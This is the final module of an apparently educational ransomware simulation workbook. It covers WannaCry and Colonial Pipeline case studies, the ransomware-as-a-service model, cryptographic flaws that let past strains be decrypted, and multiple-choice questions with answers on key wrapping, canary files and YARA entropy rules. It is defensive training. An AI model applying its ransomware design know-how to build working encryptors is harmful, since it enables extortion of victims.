NHS UK lost £92M. 200,000 victims across 150 countries. Hospitals diverted ambulances. $4B in damages estimated. Entirely preventable: the patch (MS17-010) had been available for 59 days.

Lab Connection: WannaCry to Your Simulation
WannaCry's RSA implementation had a critical flaw — it generated RSA key pairs inside the process and retained the private key in memory too long. This is precisely the memory forensics window you studied in Module 06. Researchers used the tool wanakiwi to recover WannaCry's key from memory on Windows XP by finding prime numbers (p and q) left in the process address space before they were freed. On modern systems, this window is much shorter.

12.2 Case Study: Colonial Pipeline (DarkSide, 2021)

FactorDetailLab Module Relevance
Initial Access Compromised VPN password (no MFA) found on dark web Module 03: Phase 1 — Initial Access
Dwell Time DarkSide was in the network for ~2 months before encrypting Module 06: IoC detection; long dwell = extensive lateral movement
Double Extortion 100 GB of data exfiltrated before encryption Module 10: Network monitoring; sustained large outbound transfers
Ransom Paid $4.4M in Bitcoin paid within hours of attack Module 07: IR playbook — payment is rarely the right first step
Key Recovery DOJ recovered $2.3M by seizing C2 server Bitcoin wallet Module 10: C2 server architecture is an attackable target too
Business Impact Fuel shortages across US East Coast; $90M total cost Module 07: Backup strategy and blast-radius limitation

12.3 The Ransomware-as-a-Service (RaaS) Model

Modern ransomware is not written and deployed by the same people. The RaaS ecosystem separates the "developers" (who write and maintain the ransomware code and infrastructure) from the "affiliates" (who conduct the actual attacks and pay a commission of 20–30% to the developers).

RaaS Ecosystem — Who Does What
┌────────────────────────────────────────────────────────┐
│              RANSOMWARE DEVELOPER (Core Group)         │
│  • Writes and maintains the encryption payload         │
│  • Operates the C2 infrastructure and payment portal  │
│  • Provides "affiliate panel" (web dashboard)         │
│  • Takes 20–30% of every ransom payment               │
└───────────────────────┬────────────────────────────────┘
                        │  Licenses access to
          ┌─────────────┼─────────────┐
          ▼             ▼             ▼
    Affiliate 1    Affiliate 2    Affiliate 3
    (hackers)      (hackers)      (hackers)
    • Conduct      • Conduct      • Conduct
      intrusion      intrusion      intrusion
    • Deploy       • Deploy       • Deploy
      payload        payload        payload
    • Negotiate    • Negotiate    • Negotiate
      ransom         ransom         ransom
    • Keep 70-80%  • Keep 70-80%  • Keep 70-80%
Defensive Implication
The RaaS model means that disrupting the developer group (e.g. law enforcement takedowns) doesn't immediately stop attacks — affiliates may switch to another RaaS platform. Conversely, the affiliate panel infrastructure is often the most valuable intelligence target: it contains victim lists, payment records, and communication logs that can unmask both affiliates and victims.

12.4 What Makes Ransomware Fail — Cryptographic Weaknesses Catalogue

Many early ransomware strains were cryptographically broken — not because the algorithms were weak, but because of implementation errors. These are the bugs that allowed free decryption.

StrainCryptographic FlawHow it was Broken
CryptoDefense (2014) Used Windows CryptGenKey, which left the private key in %APPDATA% Analysts found the private key file before the attacker's cleanup ran
CryptoLocker (2013–14) Correct AES-256 + RSA-2048 — no crypto flaw C2 servers seized; database of all private keys recovered by law enforcement
TeslaCrypt (2015–16) Used a symmetric key derived from a predictable seed (timestamp-based) Researchers brute-forced the key space using known timestamps
WannaCry (2017) RSA key pairs left in memory; prime factors recoverable on Windows XP wanakiwi tool reconstructed private key from memory on unpatched systems
STOP/Djvu (2018+) Used hardcoded offline key when C2 was unreachable Emsisoft published decryptor using the static offline key
Zeppelin (2019–22) XOR-based key derivation with predictable components Unit 221B reverse-engineered key derivation; Emsisoft provided decryptor

12.5 Final Comprehensive Assessment

Q6. A ransomware sample generates a unique AES key for each file using os.urandom(32) but uses the same RSA public key to wrap all of them. The attacker's server is taken down before victims can pay. Which victims, if any, can recover their files?

  • AAll victims — the AES keys are stored on disk and can be extracted.
  • BNo victims can recover without help, unless the attacker's RSA private key is seized or leaked — the wrapped AES keys are useless without it.
  • CVictims who paid before the server went down can recover.
  • DVictims can brute-force the AES key since it's only 32 bytes.
The RSA-wrapped key blobs (ENCRYPTED_KEY.bin) stored on victim systems are mathematically unusable without the RSA-4096 private key. Law enforcement or researcher intervention can only help if: (a) the private key is seized from the attacker's infrastructure, or (b) a cryptographic weakness exists in the key generation. This is exactly the scenario that led to free decryptors for strains like CryptoLocker — where seized C2 servers contained the private key database.

Q7. You are reviewing the blue team alert log and notice the first CRITICAL alert fired 4.2 seconds after execution. The encryptor processes 200 files/second. How many files are beyond recovery at alert time, and what single change would have the biggest impact on reducing this number?

  • A840 files. Deploying better antivirus would prevent all losses.
  • B840 files (200/s × 4.2s). Placing canary files alphabetically first in each directory would reduce detection latency to <1 second, saving ~640 files.
  • C200 files. Faster hardware is the solution.
  • D4,200 files. Nothing can reduce this without paying the ransom.
200 files/sec × 4.2 sec = 840 files. Canary files named AAA_* appear first when the ransomware scans alphabetically, triggering detection within the first second. 200/s × 1s = 200 files — saving 640 compared to the baseline. Additionally, automated containment (auto-blocking the process at first alert rather than just logging) could halt encryption after the first detection signal, limiting losses to under 200 files. This is why canary files combined with automated EDR response rules are so operationally powerful.

Q8. Your YARA rule for detecting encrypted files (entropy > 7.2) returns 300 false positives when run against a typical workstation. What is the most effective technique to reduce false positives while maintaining detection of ransomware-encrypted files?

  • ARaise the entropy threshold to 8.0.
  • BOnly scan files larger than 1 MB.
  • CCombine entropy with additional conditions: file extension mismatch (high-entropy file with a .docx extension), presence of a known magic byte header, or rapid filesystem modification patterns observed alongside high entropy.
  • DSwitch from YARA to MD5 hash matching.
High entropy alone catches compressed executables, zip archives, MP3s, and many other legitimate file types. Combining entropy with additional signals dramatically reduces false positives: a .docx file with entropy 7.8 is almost certainly encrypted (real DOCX files are ZIP-compressed but rarely reach 7.8); a known magic byte ("LOCK") with high entropy is very specific; and a file system event log showing 500 modifications in 2 seconds adds temporal context. Real EDR products use multi-signal correlation — entropy is one input among many, not the sole decision criterion.

12.6 Workbook Completion Summary

📚

12 Modules Completed

Lab setup → Cryptography → Architecture → Encryption engine → Key management → Detection → IR → Evasion → YARA → Network → Purple team → Case studies.

🧪

15+ Hands-On Exercises

Every module included working Python code and exercises with measurable outcomes — entropy ratios, detection latencies, YARA precision scores.

🏆

Skills Demonstrated

AES-256-GCM, RSA-4096, hybrid encryption, file format design, forensic analysis, YARA authoring, network traffic analysis, purple team methodology.

🛡️

Defensive Mindset

Every attacker technique was paired with a detection or mitigation strategy. Understanding the attack is the foundation of the defence.

Further Reading & Resources

Complete

Workbook Completion

You've reached the end of the Ransomware Simulation Workbook. If you've completed all exercises, you should now have a deep understanding of the technical, forensic, and operational dimensions of ransomware attacks.

🔒

Cryptographic Foundations

AES-256-GCM, RSA-4096, hybrid encryption, IV management, OAEP padding, key derivation.

🏗️

Attacker Architecture

7-phase kill chain, key management pipelines, C2 mechanics, ransom note generation, victim ID schemes.

🔍

Forensic Analysis

Entropy analysis, file header carving, IoC identification, log analysis, memory forensics windows.

🛡️

Defensive Controls

Canary detection, 3-2-1-1-0 backups, EDR tuning, network segmentation, IR playbooks.

Recommended Next Steps

✓ Ethical Reminder
The knowledge from this workbook is a defensive asset. Apply it to protect systems, educate colleagues, and build more resilient infrastructure. The technical barrier to deploying ransomware is low — the ethical barrier must always remain absolute.